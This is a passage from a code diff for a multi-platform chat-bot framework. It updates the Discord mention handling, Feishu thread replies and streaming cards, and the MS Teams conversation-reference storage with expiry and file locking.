message_type = getattr(message, "type", discord.MessageType.default)
|
||||
return message_type not in {discord.MessageType.default, discord.MessageType.reply}
|
||||
|
||||
@staticmethod
|
||||
def _build_inbound_metadata(message: discord.Message) -> dict[str, str | None]:
|
||||
"""Build metadata for inbound Discord messages."""
|
||||
@@ -606,6 +713,8 @@ class DiscordChannel(BaseChannel):
|
||||
|
||||
if self.config.group_policy == "mention":
|
||||
bot_user_id = self._bot_user_id
|
||||
if bot_user_id is None and self._client and self._client.user:
|
||||
bot_user_id = str(self._client.user.id)
|
||||
if bot_user_id is None:
|
||||
logger.debug(
|
||||
"Discord message in {} ignored (bot identity unavailable)", message.channel.id
|
||||
@@ -614,14 +723,30 @@ class DiscordChannel(BaseChannel):
|
||||
|
||||
if any(str(user.id) == bot_user_id for user in message.mentions):
|
||||
return True
|
||||
if bot_user_id in {str(user_id) for user_id in getattr(message, "raw_mentions", [])}:
|
||||
return True
|
||||
if f"<@{bot_user_id}>" in content or f"<@!{bot_user_id}>" in content:
|
||||
return True
|
||||
if self._references_bot_message(message, bot_user_id):
|
||||
return True
|
||||
|
||||
logger.debug("Discord message in {} ignored (bot not mentioned)", message.channel.id)
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def _references_bot_message(message: discord.Message, bot_user_id: str) -> bool:
|
||||
"""Return True when a Discord reply targets a message authored by this bot."""
|
||||
reference = getattr(message, "reference", None)
|
||||
if reference is None:
|
||||
return False
|
||||
referenced_message = getattr(reference, "resolved", None) or getattr(
|
||||
reference, "cached_message", None
|
||||
)
|
||||
author = getattr(referenced_message, "author", None)
|
||||
return str(getattr(author, "id", "")) == bot_user_id
|
||||
|
||||
async def _start_typing(self, channel: Messageable) -> None:
|
||||
"""Start periodic typing indicator for a channel."""
|
||||
channel_id = self._channel_key(channel)
|
||||
@@ -678,6 +803,7 @@ class DiscordChannel(BaseChannel):
|
||||
"""Reset client and typing state."""
|
||||
await self._cancel_all_typing()
|
||||
self._stream_bufs.clear()
|
||||
self._known_channels.clear()
|
||||
if close_client and self._client is not None and not self._client.is_closed():
|
||||
try:
|
||||
await self._client.close()
|
||||
|
||||
+162
-44
@@ -13,6 +13,7 @@ from dataclasses import dataclass
|
||||
from typing import Any, Literal
|
||||
|
||||
from lark_oapi.api.im.v1.model import MentionEvent, P2ImMessageReceiveV1
|
||||
from lark_oapi.core.const import FEISHU_DOMAIN, LARK_DOMAIN
|
||||
from loguru import logger
|
||||
from pydantic import Field
|
||||
|
||||
@@ -22,8 +23,6 @@ from nanobot.channels.base import BaseChannel
|
||||
from nanobot.config.paths import get_media_dir
|
||||
from nanobot.config.schema import Base
|
||||
|
||||
from lark_oapi.core.const import FEISHU_DOMAIN, LARK_DOMAIN
|
||||
|
||||
FEISHU_AVAILABLE = importlib.util.find_spec("lark_oapi") is not None
|
||||
|
||||
# Message type display mapping
|
||||
@@ -308,6 +307,8 @@ class FeishuChannel(BaseChannel):
|
||||
self._loop: asyncio.AbstractEventLoop | None = None
|
||||
self._stream_bufs: dict[str, _FeishuStreamBuf] = {}
|
||||
self._bot_open_id: str | None = None
|
||||
self._background_tasks: set[asyncio.Task] = set()
|
||||
self._reaction_ids: dict[str, str] = {} # message_id → reaction_id
|
||||
|
||||
@staticmethod
|
||||
def _register_optional_event(builder: Any, method_name: str, handler: Any) -> Any:
|
||||
@@ -549,8 +550,11 @@ class FeishuChannel(BaseChannel):
|
||||
return None
|
||||
|
||||
async def _add_reaction(self, message_id: str, emoji_type: str = "THUMBSUP") -> str | None:
|
||||
"""
|
||||
Add a reaction emoji to a message (non-blocking).
|
||||
"""Add a reaction emoji to a message.
|
||||
|
||||
Returns the reaction_id on success, None on failure.
|
||||
When called via a tracked background task, the returned reaction_id
|
||||
is stored in ``_reaction_ids`` for later cleanup by ``send_delta``.
|
||||
|
||||
Common emoji types: THUMBSUP, OK, EYES, DONE, OnIt, HEART
|
||||
"""
|
||||
@@ -594,6 +598,36 @@ class FeishuChannel(BaseChannel):
|
||||
loop = asyncio.get_running_loop()
|
||||
await loop.run_in_executor(None, self._remove_reaction_sync, message_id, reaction_id)
|
||||
|
||||
def _on_background_task_done(self, task: asyncio.Task) -> None:
|
||||
"""Callback: remove from tracking set and log unhandled exceptions."""
|
||||
self._background_tasks.discard(task)
|
||||
if task.cancelled():
|
||||
return
|
||||
try:
|
||||
task.result()
|
||||
except Exception as exc:
|
||||
logger.warning("Background task failed: {}", exc)
|
||||
|
||||
def _on_reaction_added(self, message_id: str, task: asyncio.Task) -> None:
|
||||
"""Callback: store reaction_id after background add-reaction completes."""
|
||||
if task.cancelled():
|
||||
return
|
||||
try:
|
||||
reaction_id = task.result()
|
||||
if reaction_id:
|
||||
self._reaction_ids[message_id] = reaction_id
|
||||
except Exception:
|
||||
pass # already logged by _on_background_task_done
|
||||
# Trim cache to prevent unbounded growth
|
||||
if len(self._reaction_ids) > 500:
|
||||
self._reaction_ids.pop(next(iter(self._reaction_ids)))
|
||||
|
||||
@staticmethod
|
||||
def _stream_key(chat_id: str, metadata: dict[str, Any] | None = None) -> str:
|
||||
"""Scope streaming buffers to the inbound message when available."""
|
||||
meta = metadata or {}
|
||||
return meta.get("message_id") or chat_id
|
||||
|
||||
# Regex to match markdown tables (header + separator + data rows)
|
||||
_TABLE_RE = re.compile(
|
||||
r"((?:^[ \t]*\|.+\|[ \t]*\n)(?:^[ \t]*\|[-:\s|]+\|[ \t]*\n)(?:^[ \t]*\|.+\|[ \t]*\n?)+)",
|
||||
@@ -1101,17 +1135,23 @@ class FeishuChannel(BaseChannel):
|
||||
logger.debug("Feishu: error fetching parent message {}: {}", message_id, e)
|
||||
return None
|
||||
|
||||
def _reply_message_sync(self, parent_message_id: str, msg_type: str, content: str) -> bool:
|
||||
"""Reply to an existing Feishu message using the Reply API (synchronous)."""
|
||||
def _reply_message_sync(self, parent_message_id: str, msg_type: str, content: str, *, reply_in_thread: bool = False) -> bool:
|
||||
"""Reply to an existing Feishu message using the Reply API (synchronous).
|
||||
|
||||
Args:
|
||||
reply_in_thread: If True, reply as a thread/topic message
|
||||
in the Feishu client.
|
||||
"""
|
||||
from lark_oapi.api.im.v1 import ReplyMessageRequest, ReplyMessageRequestBody
|
||||
|
||||
try:
|
||||
body_builder = ReplyMessageRequestBody.builder().msg_type(msg_type).content(content)
|
||||
if reply_in_thread:
|
||||
body_builder = body_builder.reply_in_thread(True)
|
||||
request = (
|
||||
ReplyMessageRequest.builder()
|
||||
.message_id(parent_message_id)
|
||||
.request_body(
|
||||
ReplyMessageRequestBody.builder().msg_type(msg_type).content(content).build()
|
||||
)
|
||||
.request_body(body_builder.build())
|
||||
.build()
|
||||
)
|
||||
response = self._client.im.v1.message.reply(request)
|
||||
@@ -1166,8 +1206,19 @@ class FeishuChannel(BaseChannel):
|
||||
logger.error("Error sending Feishu {} message: {}", msg_type, e)
|
||||
return None
|
||||
|
||||
def _create_streaming_card_sync(self, receive_id_type: str, chat_id: str) -> str | None:
|
||||
"""Create a CardKit streaming card, send it to chat, return card_id."""
|
||||
def _create_streaming_card_sync(
|
||||
self,
|
||||
receive_id_type: str,
|
||||
chat_id: str,
|
||||
reply_message_id: str | None = None,
|
||||
) -> str | None:
|
||||
"""Create a CardKit streaming card, send it to chat, return card_id.
|
||||
|
||||
When *reply_message_id* is provided the card is delivered via the
|
||||
reply API (with reply_in_thread=True) so it lands inside the
|
||||
originating thread / topic. Otherwise the plain create-message
|
||||
API is used.
|
||||
"""
|
||||
from lark_oapi.api.cardkit.v1 import CreateCardRequest, CreateCardRequestBody
|
||||
|
||||
card_json = {
|
||||
@@ -1196,13 +1247,19 @@ class FeishuChannel(BaseChannel):
|
||||
return None
|
||||
card_id = getattr(response.data, "card_id", None)
|
||||
if card_id:
|
||||
message_id = self._send_message_sync(
|
||||
receive_id_type,
|
||||
chat_id,
|
||||
"interactive",
|
||||
json.dumps({"type": "card", "data": {"card_id": card_id}}),
|
||||
card_content = json.dumps(
|
||||
{"type": "card", "data": {"card_id": card_id}}, ensure_ascii=False
|
||||
)
|
||||
if message_id:
|
||||
if reply_message_id:
|
||||
sent = self._reply_message_sync(
|
||||
reply_message_id, "interactive", card_content,
|
||||
reply_in_thread=True,
|
||||
)
|
||||
else:
|
||||
sent = self._send_message_sync(
|
||||
receive_id_type, chat_id, "interactive", card_content,
|
||||
) is not None
|
||||
if sent:
|
||||
return card_id
|
||||
logger.warning(
|
||||
"Created streaming card {} but failed to send it to {}", card_id, chat_id
|
||||
@@ -1292,23 +1349,27 @@ class FeishuChannel(BaseChannel):
|
||||
_stream_end: Finalize the streaming card.
|
||||
_tool_hint: Delta is a formatted tool hint (for display only).
|
||||
message_id: Original message id (used with _stream_end for reaction cleanup).
|
||||
reaction_id: Reaction id to remove on stream end.
|
||||
chat_type: "group" or "p2p" — controls reply-in-thread for streaming cards.
|
||||
"""
|
||||
if not self._client:
|
||||
return
|
||||
meta = metadata or {}
|
||||
stream_key = self._stream_key(chat_id, meta)
|
||||
loop = asyncio.get_running_loop()
|
||||
rid_type = "chat_id" if chat_id.startswith("oc_") else "open_id"
|
||||
|
||||
# --- stream end: final update or fallback ---
|
||||
if meta.get("_stream_end"):
|
||||
if (message_id := meta.get("message_id")) and (reaction_id := meta.get("reaction_id")):
|
||||
await self._remove_reaction(message_id, reaction_id)
|
||||
message_id = meta.get("message_id")
|
||||
if message_id:
|
||||
reaction_id = self._reaction_ids.pop(message_id, None)
|
||||
if reaction_id:
|
||||
await self._remove_reaction(message_id, reaction_id)
|
||||
# Add completion emoji if configured
|
||||
if self.config.done_emoji and message_id:
|
||||
if self.config.done_emoji:
|
||||
await self._add_reaction(message_id, self.config.done_emoji)
|
||||
|
||||
buf = self._stream_bufs.pop(chat_id, None)
|
||||
buf = self._stream_bufs.pop(stream_key, None)
|
||||
if not buf or not buf.text:
|
||||
return
|
||||
# Try to finalize via streaming card; if that fails (e.g.
|
||||
@@ -1343,24 +1404,45 @@ class FeishuChannel(BaseChannel):
|
||||
{"config": {"wide_screen_mode": True}, "elements": chunk},
|
||||
ensure_ascii=False,
|
||||
)
|
||||
await loop.run_in_executor(
|
||||
None, self._send_message_sync, rid_type, chat_id, "interactive", card
|
||||
)
|
||||
# Fallback: reply via the Reply API for group chats.
|
||||
# Target message_id — the Feishu API keeps the reply in
|
||||
# the same topic automatically.
|
||||
_f_msg = meta.get("message_id")
|
||||
fallback_msg_id = _f_msg if meta.get("chat_type", "group") == "group" else None
|
||||
if fallback_msg_id:
|
||||
await loop.run_in_executor(
|
||||
None, lambda: self._reply_message_sync(
|
||||
fallback_msg_id, "interactive", card,
|
||||
reply_in_thread=True,
|
||||
),
|
||||
)
|
||||
else:
|
||||
await loop.run_in_executor(
|
||||
None, self._send_message_sync, rid_type, chat_id, "interactive", card
|
||||
)
|
||||
return
|
||||
|
||||
# --- accumulate delta ---
|
||||
buf = self._stream_bufs.get(chat_id)
|
||||
buf = self._stream_bufs.get(stream_key)
|
||||
if buf is None:
|
||||
buf = _FeishuStreamBuf()
|
||||
self._stream_bufs[chat_id] = buf
|
||||
self._stream_bufs[stream_key] = buf
|
||||
buf.text += delta
|
||||
if not buf.text.strip():
|
||||
return
|
||||
|
||||
now = time.monotonic()
|
||||
if buf.card_id is None:
|
||||
# Send the streaming card as a reply for group chats so it
|
||||
# lands inside the originating topic/thread. Always target
|
||||
# message_id (the actual inbound message) — the Feishu Reply
|
||||
# API keeps the response in the same topic automatically.
|
||||
is_group = meta.get("chat_type", "group") == "group"
|
||||
reply_msg_id = meta.get("message_id") if is_group else None
|
||||
card_id = await loop.run_in_executor(
|
||||
None, self._create_streaming_card_sync, rid_type, chat_id
|
||||
None,
|
||||
self._create_streaming_card_sync,
|
||||
rid_type, chat_id, reply_msg_id,
|
||||
)
|
||||
if card_id:
|
||||
buf.card_id = card_id
|
||||
@@ -1393,7 +1475,7 @@ class FeishuChannel(BaseChannel):
|
||||
hint = (msg.content or "").strip()
|
||||
if not hint:
|
||||
return
|
||||
buf = self._stream_bufs.get(msg.chat_id)
|
||||
buf = self._stream_bufs.get(self._stream_key(msg.chat_id, msg.metadata))
|
||||
if buf and buf.card_id:
|
||||
# Delegate to send_delta so tool hints get the same
|
||||
# throttling (and card creation) as regular text deltas.
|
||||
@@ -1404,37 +1486,59 @@ class FeishuChannel(BaseChannel):
|
||||
return
|
||||
# No active streaming card — send as a regular
|
||||
# interactive card with the same 🔧 prefix style.
|
||||
# Use reply API for group chats so the hint stays in topic.
|
||||
card = json.dumps(
|
||||
{"config": {"wide_screen_mode": True}, "elements": [
|
||||
{"tag": "markdown", "content": self._format_tool_hint_delta(hint)},
|
||||
]},
|
||||
ensure_ascii=False,
|
||||
)
|
||||
await loop.run_in_executor(
|
||||
None, self._send_message_sync, receive_id_type, msg.chat_id, "interactive", card
|
||||
)
|
||||
_th_msg_id = msg.metadata.get("message_id")
|
||||
_th_chat_type = msg.metadata.get("chat_type", "group")
|
||||
if _th_msg_id and _th_chat_type == "group":
|
||||
await loop.run_in_executor(
|
||||
None, lambda: self._reply_message_sync(
|
||||
_th_msg_id, "interactive", card,
|
||||
reply_in_thread=True,
|
||||
),
|
||||
)
|
||||
else:
|
||||
await loop.run_in_executor(
|
||||
None, self._send_message_sync, receive_id_type, msg.chat_id, "interactive", card
|
||||
)
|
||||
return
|
||||
|
||||
# Determine whether the first message should quote the user's message.
|
||||
# Only the very first send (media or text) in this call uses reply; subsequent
|
||||
# chunks/media fall back to plain create to avoid redundant quote bubbles.
|
||||
# Always target message_id — the Feishu Reply API keeps replies in the
|
||||
# same topic automatically when the target message is inside a topic.
|
||||
reply_message_id: str | None = None
|
||||
_msg_id = msg.metadata.get("message_id")
|
||||
if self.config.reply_to_message and not msg.metadata.get("_progress", False):
|
||||
reply_message_id = msg.metadata.get("message_id") or None
|
||||
reply_message_id = _msg_id
|
||||
# For topic group messages, always reply to keep context in thread
|
||||
elif msg.metadata.get("thread_id"):
|
||||
reply_message_id = (
|
||||
msg.metadata.get("root_id") or msg.metadata.get("message_id") or None
|
||||
)
|
||||
reply_message_id = _msg_id
|
||||
|
||||
first_send = True # tracks whether the reply has already been used
|
||||
|
||||
def _do_send(m_type: str, content: str) -> None:
|
||||
"""Send via reply (first message) or create (subsequent)."""
|
||||
"""Send via reply (first message) or create (subsequent).
|
||||
|
||||
For group chats the reply API always uses reply_in_thread=True.
|
||||
The Feishu API automatically keeps replies inside existing
|
||||
topics — reply_in_thread only creates a *new* topic when the
|
||||
target message is a plain (non-topic) message.
|
||||
"""
|
||||
nonlocal first_send
|
||||
if reply_message_id and first_send:
|
||||
first_send = False
|
||||
ok = self._reply_message_sync(reply_message_id, m_type, content)
|
||||
chat_type = msg.metadata.get("chat_type", "group")
|
||||
ok = self._reply_message_sync(
|
||||
reply_message_id, m_type, content,
|
||||
reply_in_thread=chat_type == "group",
|
||||
)
|
||||
if ok:
|
||||
return
|
||||
# Fall back to regular send if reply fails
|
||||
@@ -1457,13 +1561,13 @@ class FeishuChannel(BaseChannel):
|
||||
else:
|
||||
key = await loop.run_in_executor(None, self._upload_file_sync, file_path)
|
||||
if key:
|
||||
# Use msg_type "audio" for audio, "video" for video, "file" for documents.
|
||||
# Feishu's OpenAPI names video messages "media".
|
||||
# Use "audio" for audio, "media" for video, "file" for documents.
|
||||
# Feishu requires these specific msg_types for inline playback.
|
||||
# Note: "media" is only valid as a tag inside "post" messages, not as a standalone msg_type.
|
||||
if ext in self._AUDIO_EXTS:
|
||||
media_type = "audio"
|
||||
elif ext in self._VIDEO_EXTS:
|
||||
media_type = "video"
|
||||
media_type = "media"
|
||||
else:
|
||||
media_type = "file"
|
||||
await loop.run_in_executor(
|
||||
@@ -1543,8 +1647,13 @@ class FeishuChannel(BaseChannel):
|
||||
logger.debug("Feishu: skipping group message (not mentioned)")
|
||||
return
|
||||
|
||||
# Add reaction
|
||||
reaction_id = await self._add_reaction(message_id, self.config.react_emoji)
|
||||
# Add reaction (non-blocking — tracked background task)
|
||||
task = asyncio.create_task(
|
||||
self._add_reaction(message_id, self.config.react_emoji)
|
||||
)
|
||||
self._background_tasks.add(task)
|
||||
task.add_done_callback(self._on_background_task_done)
|
||||
task.add_done_callback(lambda t: self._on_reaction_added(message_id, t))
|
||||
|
||||
# Parse content
|
||||
content_parts = []
|
||||
@@ -1624,6 +1733,15 @@ class FeishuChannel(BaseChannel):
|
||||
if not content and not media_paths:
|
||||
return
|
||||
|
||||
# Build topic-scoped session key for conversation isolation.
|
||||
# Group chat: each topic gets its own session via root_id (replies
|
||||
# inside a topic) or message_id (top-level messages start a new topic).
|
||||
# Private chat: no override — same behavior as Telegram/Slack.
|
||||
if chat_type == "group":
|
||||
session_key = f"feishu:{chat_id}:{root_id or message_id}"
|
||||
else:
|
||||
session_key = None
|
||||
|
||||
# Forward to message bus
|
||||
reply_to = chat_id if chat_type == "group" else sender_id
|
||||
await self._handle_message(
|
||||
@@ -1633,13 +1751,13 @@ class FeishuChannel(BaseChannel):
|
||||
media=media_paths,
|
||||
metadata={
|
||||
"message_id": message_id,
|
||||
"reaction_id": reaction_id,
|
||||
"chat_type": chat_type,
|
||||
"msg_type": msg_type,
|
||||
"parent_id": parent_id,
|
||||
"root_id": root_id,
|
||||
"thread_id": thread_id,
|
||||
},
|
||||
session_key=session_key,
|
||||
)
|
||||
|
||||
except Exception as e:
|
||||
|
||||
@@ -172,6 +172,7 @@ class ChannelManager:
|
||||
channel=notice.channel,
|
||||
chat_id=notice.chat_id,
|
||||
content=format_restart_completed_message(notice.started_at_raw),
|
||||
metadata=dict(notice.metadata or {}),
|
||||
),
|
||||
))
|
||||
|
||||
|
||||
+278
-36
@@ -15,12 +15,21 @@ import asyncio
|
||||
import html
|
||||
import importlib.util
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
from contextlib import contextmanager
|
||||
from dataclasses import dataclass
|
||||
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
|
||||
from typing import TYPE_CHECKING, Any
|
||||
from urllib.parse import urlparse
|
||||
|
||||
try: # pragma: no cover - Windows fallback path
|
||||
import fcntl
|
||||
except ImportError: # pragma: no cover
|
||||
fcntl = None
|
||||
|
||||
import httpx
|
||||
from loguru import logger
|
||||
@@ -43,6 +52,13 @@ if TYPE_CHECKING:
|
||||
if MSTEAMS_AVAILABLE:
|
||||
import jwt
|
||||
|
||||
MSTEAMS_REF_TTL_DAYS = 30
|
||||
MSTEAMS_REF_TTL_S = MSTEAMS_REF_TTL_DAYS * 24 * 60 * 60
|
||||
MSTEAMS_WEBCHAT_HOST = "webchat.botframework.com"
|
||||
MSTEAMS_REF_META_FILENAME = "msteams_conversations_meta.json"
|
||||
MSTEAMS_REF_LOCK_FILENAME = "msteams_conversations.lock"
|
||||
MSTEAMS_REF_TOUCH_INTERVAL_S = 300
|
||||
|
||||
|
||||
class MSTeamsConfig(Base):
|
||||
"""Microsoft Teams channel configuration."""
|
||||
@@ -58,6 +74,10 @@ class MSTeamsConfig(Base):
|
||||
reply_in_thread: bool = True
|
||||
mention_only_response: str = "Hi — what can I help with?"
|
||||
validate_inbound_auth: bool = True
|
||||
ref_ttl_days: int = Field(default=MSTEAMS_REF_TTL_DAYS, ge=1)
|
||||
prune_web_chat_refs: bool = True
|
||||
prune_non_personal_refs: bool = True
|
||||
ref_touch_interval_s: int = Field(default=MSTEAMS_REF_TOUCH_INTERVAL_S, ge=0)
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -70,6 +90,7 @@ class ConversationRef:
|
||||
activity_id: str | None = None
|
||||
conversation_type: str | None = None
|
||||
tenant_id: str | None = None
|
||||
updated_at: float | None = None
|
||||
|
||||
|
||||
class MSTeamsChannel(BaseChannel):
|
||||
@@ -102,7 +123,13 @@ class MSTeamsChannel(BaseChannel):
|
||||
self._botframework_jwks_expires_at: float = 0.0
|
||||
self._refs_path = get_workspace_path() / "state" / "msteams_conversations.json"
|
||||
self._refs_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
self._refs_meta_path = self._refs_path.parent / MSTEAMS_REF_META_FILENAME
|
||||
self._refs_lock_path = self._refs_path.parent / MSTEAMS_REF_LOCK_FILENAME
|
||||
self._refs_guard = threading.RLock()
|
||||
self._conversation_refs: dict[str, ConversationRef] = self._load_refs()
|
||||
with self._refs_guard:
|
||||
if self._prune_conversation_refs():
|
||||
self._save_refs_locked(prune=True)
|
||||
|
||||
async def start(self) -> None:
|
||||
"""Start the Teams webhook listener."""
|
||||
@@ -220,7 +247,6 @@ class MSTeamsChannel(BaseChannel):
|
||||
token = await self._get_access_token()
|
||||
base_url = f"{ref.service_url.rstrip('/')}/v3/conversations/{ref.conversation_id}/activities"
|
||||
use_thread_reply = self.config.reply_in_thread and bool(ref.activity_id)
|
||||
url = f"{base_url}/{ref.activity_id}" if use_thread_reply else base_url
|
||||
headers = {
|
||||
"Authorization": f"Bearer {token}",
|
||||
"Content-Type": "application/json",
|
||||
@@ -233,9 +259,10 @@ class MSTeamsChannel(BaseChannel):
|
||||
payload["replyToId"] = ref.activity_id
|
||||
|
||||
try:
|
||||
resp = await self._http.post(url, headers=headers, json=payload)
|
||||
resp = await self._http.post(base_url, headers=headers, json=payload)
|
||||
resp.raise_for_status()
|
||||
logger.info("MSTeams message sent to {}", ref.conversation_id)
|
||||
self._touch_conversation_ref(str(msg.chat_id), persist=True)
|
||||
except Exception as e:
|
||||
logger.error("MSTeams send failed: {}", e)
|
||||
raise
|
||||
@@ -282,15 +309,17 @@ class MSTeamsChannel(BaseChannel):
|
||||
)
|
||||
return
|
||||
|
||||
self._conversation_refs[conversation_id] = ConversationRef(
|
||||
service_url=service_url,
|
||||
conversation_id=conversation_id,
|
||||
bot_id=str(recipient.get("id") or "") or None,
|
||||
activity_id=activity_id or None,
|
||||
conversation_type=conversation_type or None,
|
||||
tenant_id=str((channel_data.get("tenant") or {}).get("id") or "") or None,
|
||||
)
|
||||
self._save_refs()
|
||||
with self._refs_guard:
|
||||
self._conversation_refs[conversation_id] = ConversationRef(
|
||||
service_url=service_url,
|
||||
conversation_id=conversation_id,
|
||||
bot_id=str(recipient.get("id") or "") or None,
|
||||
activity_id=activity_id or None,
|
||||
conversation_type=conversation_type or None,
|
||||
tenant_id=str((channel_data.get("tenant") or {}).get("id") or "") or None,
|
||||
updated_at=time.time(),
|
||||
)
|
||||
self._save_refs_locked()
|
||||
|
||||
await self._handle_message(
|
||||
sender_id=sender_id,
|
||||
@@ -310,10 +339,12 @@ class MSTeamsChannel(BaseChannel):
|
||||
"""Extract the user-authored text from a Teams activity."""
|
||||
text = str(activity.get("text") or "")
|
||||
text = self._strip_possible_bot_mention(text)
|
||||
text = self._normalize_html_whitespace(text)
|
||||
|
||||
channel_data = activity.get("channelData") or {}
|
||||
reply_to_id = str(activity.get("replyToId") or "").strip()
|
||||
normalized_preview = html.unescape(text).replace("&rsquo", "’").strip()
|
||||
normalized_preview = normalized_preview.replace("\xa0", " ")
|
||||
normalized_preview = normalized_preview.replace("\r\n", "\n").replace("\r", "\n")
|
||||
preview_lines = [line.strip() for line in normalized_preview.split("\n")]
|
||||
while preview_lines and not preview_lines[0]:
|
||||
@@ -333,9 +364,15 @@ class MSTeamsChannel(BaseChannel):
|
||||
cleaned = re.sub(r"(?:\r?\n){3,}", "\n\n", cleaned)
|
||||
return cleaned.strip()
|
||||
|
||||
def _normalize_html_whitespace(self, text: str) -> str:
|
||||
"""Normalize common HTML whitespace/entities from Teams into plain text spacing."""
|
||||
normalized = html.unescape(text).replace("&rsquo", "’")
|
||||
normalized = normalized.replace("\xa0", " ")
|
||||
return normalized
|
||||
|
||||
def _normalize_teams_reply_quote(self, text: str) -> str:
|
||||
"""Normalize Teams quoted replies into a compact structured form."""
|
||||
cleaned = html.unescape(text).replace("&rsquo", "’").strip()
|
||||
cleaned = self._normalize_html_whitespace(text).strip()
|
||||
if not cleaned:
|
||||
return ""
|
||||
|
||||
@@ -477,38 +514,243 @@ class MSTeamsChannel(BaseChannel):
|
||||
self._botframework_jwks_expires_at = now + 3600
|
||||
return self._botframework_jwks
|
||||
|
||||
def _load_refs(self) -> dict[str, ConversationRef]:
|
||||
"""Load stored conversation references."""
|
||||
if not self._refs_path.exists():
|
||||
return {}
|
||||
@staticmethod
|
||||
def _safe_float(value: Any) -> float | None:
|
||||
try:
|
||||
data = json.loads(self._refs_path.read_text(encoding="utf-8"))
|
||||
out: dict[str, ConversationRef] = {}
|
||||
for key, value in data.items():
|
||||
out[key] = ConversationRef(**value)
|
||||
return out
|
||||
except Exception as e:
|
||||
logger.warning("Failed to load MSTeams conversation refs: {}", e)
|
||||
out = float(value)
|
||||
if out > 0:
|
||||
return out
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
return None
|
||||
|
||||
def _normalize_ref_record(self, value: Any) -> ConversationRef | None:
|
||||
"""Normalize a stored ref record from legacy/current schema."""
|
||||
if not isinstance(value, dict):
|
||||
return None
|
||||
service_url = str(value.get("service_url") or "").strip()
|
||||
conversation_id = str(value.get("conversation_id") or "").strip()
|
||||
if not service_url or not conversation_id:
|
||||
return None
|
||||
return ConversationRef(
|
||||
service_url=service_url,
|
||||
conversation_id=conversation_id,
|
||||
bot_id=str(value.get("bot_id") or "") or None,
|
||||
activity_id=str(value.get("activity_id") or "") or None,
|
||||
conversation_type=str(value.get("conversation_type") or "") or None,
|
||||
tenant_id=str(value.get("tenant_id") or "") or None,
|
||||
updated_at=self._safe_float(value.get("updated_at")),
|
||||
)
|
||||
|
||||
def _load_refs_raw(self) -> tuple[dict[str, Any], dict[str, Any], bool]:
|
||||
"""Load raw refs/main+meta JSON payloads."""
|
||||
main_data: dict[str, Any] = {}
|
||||
meta_data: dict[str, Any] = {}
|
||||
meta_exists = self._refs_meta_path.exists()
|
||||
|
||||
if self._refs_path.exists():
|
||||
try:
|
||||
loaded = json.loads(self._refs_path.read_text(encoding="utf-8"))
|
||||
if isinstance(loaded, dict):
|
||||
main_data = loaded
|
||||
except Exception as e:
|
||||
logger.warning("Failed to load MSTeams conversation refs: {}", e)
|
||||
|
||||
if meta_exists:
|
||||
try:
|
||||
loaded_meta = json.loads(self._refs_meta_path.read_text(encoding="utf-8"))
|
||||
if isinstance(loaded_meta, dict):
|
||||
meta_data = loaded_meta
|
||||
except Exception as e:
|
||||
logger.warning("Failed to load MSTeams conversation refs metadata: {}", e)
|
||||
|
||||
return main_data, meta_data, meta_exists
|
||||
|
||||
def _load_refs_from_disk(self) -> dict[str, ConversationRef]:
|
||||
"""Load refs from disk with compatibility fallback for legacy layouts."""
|
||||
main_data, meta_data, meta_exists = self._load_refs_raw()
|
||||
if not main_data:
|
||||
return {}
|
||||
|
||||
def _save_refs(self) -> None:
|
||||
"""Persist conversation references."""
|
||||
out: dict[str, ConversationRef] = {}
|
||||
now = time.time()
|
||||
for key, value in main_data.items():
|
||||
ref = self._normalize_ref_record(value)
|
||||
if not ref:
|
||||
continue
|
||||
|
||||
meta_entry = meta_data.get(key) if isinstance(meta_data, dict) else None
|
||||
meta_ts = None
|
||||
if isinstance(meta_entry, dict):
|
||||
meta_ts = self._safe_float(meta_entry.get("updated_at"))
|
||||
elif meta_entry is not None:
|
||||
meta_ts = self._safe_float(meta_entry)
|
||||
|
||||
if meta_ts is not None:
|
||||
ref.updated_at = meta_ts
|
||||
elif not meta_exists:
|
||||
# First run after introducing meta sidecar: keep legacy refs alive
|
||||
# by initializing timestamps to "now" instead of purging immediately.
|
||||
ref.updated_at = now
|
||||
elif ref.updated_at is None:
|
||||
ref.updated_at = now
|
||||
|
||||
out[key] = ref
|
||||
return out
|
||||
|
||||
def _load_refs(self) -> dict[str, ConversationRef]:
|
||||
"""Load stored conversation references."""
|
||||
return self._load_refs_from_disk()
|
||||
|
||||
@contextmanager
|
||||
def _refs_file_lock(self):
|
||||
"""Cross-process lock while merging and writing refs state."""
|
||||
self._refs_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
lock_fp = self._refs_lock_path.open("a+", encoding="utf-8")
|
||||
try:
|
||||
data = {
|
||||
key: {
|
||||
"service_url": ref.service_url,
|
||||
"conversation_id": ref.conversation_id,
|
||||
"bot_id": ref.bot_id,
|
||||
"activity_id": ref.activity_id,
|
||||
"conversation_type": ref.conversation_type,
|
||||
"tenant_id": ref.tenant_id,
|
||||
if fcntl is not None:
|
||||
fcntl.flock(lock_fp.fileno(), fcntl.LOCK_EX)
|
||||
yield
|
||||
finally:
|
||||
try:
|
||||
if fcntl is not None:
|
||||
fcntl.flock(lock_fp.fileno(), fcntl.LOCK_UN)
|
||||
finally:
|
||||
lock_fp.close()
|
||||
|
||||
def _is_webchat_service_url(self, service_url: str) -> bool:
|
||||
"""Return True when service URL points to unsupported Bot Framework Web Chat."""
|
||||
normalized = service_url.strip()
|
||||
if not normalized:
|
||||
return False
|
||||
host = (urlparse(normalized).hostname or "").strip().lower()
|
||||
if host:
|
||||
return host == MSTEAMS_WEBCHAT_HOST or host.endswith(f".{MSTEAMS_WEBCHAT_HOST}")
|
||||
return MSTEAMS_WEBCHAT_HOST in normalized.lower()
|
||||
|
||||
def _prune_conversation_refs(self, *, now: float | None = None) -> bool:
|
||||
"""Remove stale and unsupported conversation refs from memory."""
|
||||
if not self._conversation_refs:
|
||||
return False
|
||||
|
||||
now_ts = time.time() if now is None else now
|
||||
ttl_days = int(self.config.ref_ttl_days)
|
||||
stale_before = now_ts - (ttl_days * 24 * 60 * 60)
|
||||
keys_to_drop: list[str] = []
|
||||
|
||||
for key, ref in self._conversation_refs.items():
|
||||
if self.config.prune_web_chat_refs and self._is_webchat_service_url(ref.service_url):
|
||||
keys_to_drop.append(key)
|
||||
continue
|
